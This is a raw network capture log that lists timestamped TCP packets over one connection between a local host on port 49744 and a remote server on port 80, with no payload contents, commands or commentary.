Dec 20, 2024 17:11:04.198537111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.198579073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.198766947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.199276924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.199342966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.199352980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.199410915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.199564934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.200052977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.200166941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.200228930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.254622936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.254688025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.254699945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.254767895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.254837990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.254856110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.254862070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.254873037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.254904985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.254925966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.255279064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.255295992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.255307913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.255335093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.255345106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.255356073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.255620956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.255631924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.255642891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.255664110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.255695105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.255808115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.255985975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.256031990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.256067991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.256078959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.256107092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.256226063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.256611109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.256658077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.256659031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.305991888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.319813967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.319922924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.319933891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.319994926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.320139885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.320246935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.320297956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.320400953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.320413113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.320435047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.320827007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.321069956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.321079969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.321187973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.321223974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.321237087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.321250916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.321284056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.321804047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.321886063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.321897984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.321926117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.321942091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.322159052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.322645903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.322659016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.322699070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.322789907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.322801113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.322829962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.323353052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.323398113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.323448896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.323461056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.323502064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.323663950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.324184895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.324197054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.324239969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.324502945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.324546099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.381309032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.381459951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.381474018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.381561041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.381601095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.381686926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.381813049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.381829023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.381881952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.382095098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.382108927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.382158995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.382599115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.382955074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.382967949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.383017063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.383131027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.383176088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.383322954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.383361101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.383521080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.383570910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.383676052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.383721113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.384098053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.384113073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.384124994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.384156942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.384246111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.384303093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.384748936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.384906054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.384918928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.384954929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.385068893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.385108948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.385571957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.385763884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.385776043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.385823011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.385919094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.385958910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.386466980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.386490107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.386502981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.386544943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.386778116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.386811972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.387161016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.387326002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.387346029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.387389898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.387671947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.388048887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.388062000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.388076067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.388093948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.388106108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.388406038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.388443947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.388797045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.388816118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.388828993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.388849974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.389172077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.389214039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.389544964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.389749050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.389765978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.389808893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.389915943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.389955997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.390352964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.390366077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.390377045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.390398026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.390655994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.390825033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.391191006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.391346931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.391361952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.391441107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.391526937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.391575098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.393193007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.393215895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.393260002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.393378973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.393619061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.393668890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.444921017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.444933891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.444945097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.445022106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.445106030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.445161104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.445365906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.445379019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.445413113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.445642948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.445959091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.445971012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.445981979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.446017027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.446043968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.446393967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.446541071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.446553946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.446626902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.446680069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.446724892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.447235107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.447384119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.447396040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.447434902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.447516918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.447560072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.447866917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.447909117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.447920084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.447952032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.493511915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.527147055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.527162075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.527275085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.527293921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.527471066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.527549028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.527645111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.527834892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.527846098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.527862072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.527888060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.527931929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.528356075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.528367996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.528384924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.528414011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.528862000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.528949022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.529370070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.529381037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.529392004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.529424906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.529565096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.530201912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.530211926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.530222893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.530252934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.530500889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.530806065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.530862093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.530945063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.530987024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.531094074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.531368971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.531660080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.531697989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.531843901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.531855106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.531886101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.571655035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.575500965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.575779915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.575792074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.575869083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.576070070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.576081038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.576164007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.576208115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.576224089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.576248884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.576345921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.576931953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.576942921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.576953888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.576987028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.577219009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.577517986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.577565908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.577680111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.577692032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.577728987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.578003883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.578043938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.578368902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.578380108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.578391075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.578423023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.578540087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.578552008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.578562021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.578572989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.578579903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.578587055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.578613997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.578630924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.578668118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.578694105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.578706026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.578730106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.578825951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.578871965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.581043959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.581183910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.581196070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.581207991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.581239939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.581278086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.581748962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.581902981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.581913948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.581953049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.582185984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.582225084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.582571983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.582717896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.582729101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.582767010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.582894087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.582937002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.583420038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.583431005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.583472967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.583606958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.583617926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.583650112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.584124088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.584135056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.584144115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.584175110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.584423065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.584465027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.584954977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.584969044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.585010052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.585288048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.585304022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.585577965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.585783005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.585916042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.585927963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.585967064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.586066961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.586132050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.586536884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.586548090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.586591005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.586678028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.586688995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.586725950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.587419987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.634243011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.637422085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.637525082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.637537003 CET	80	49744	185.215.113.16	192.168.2.4
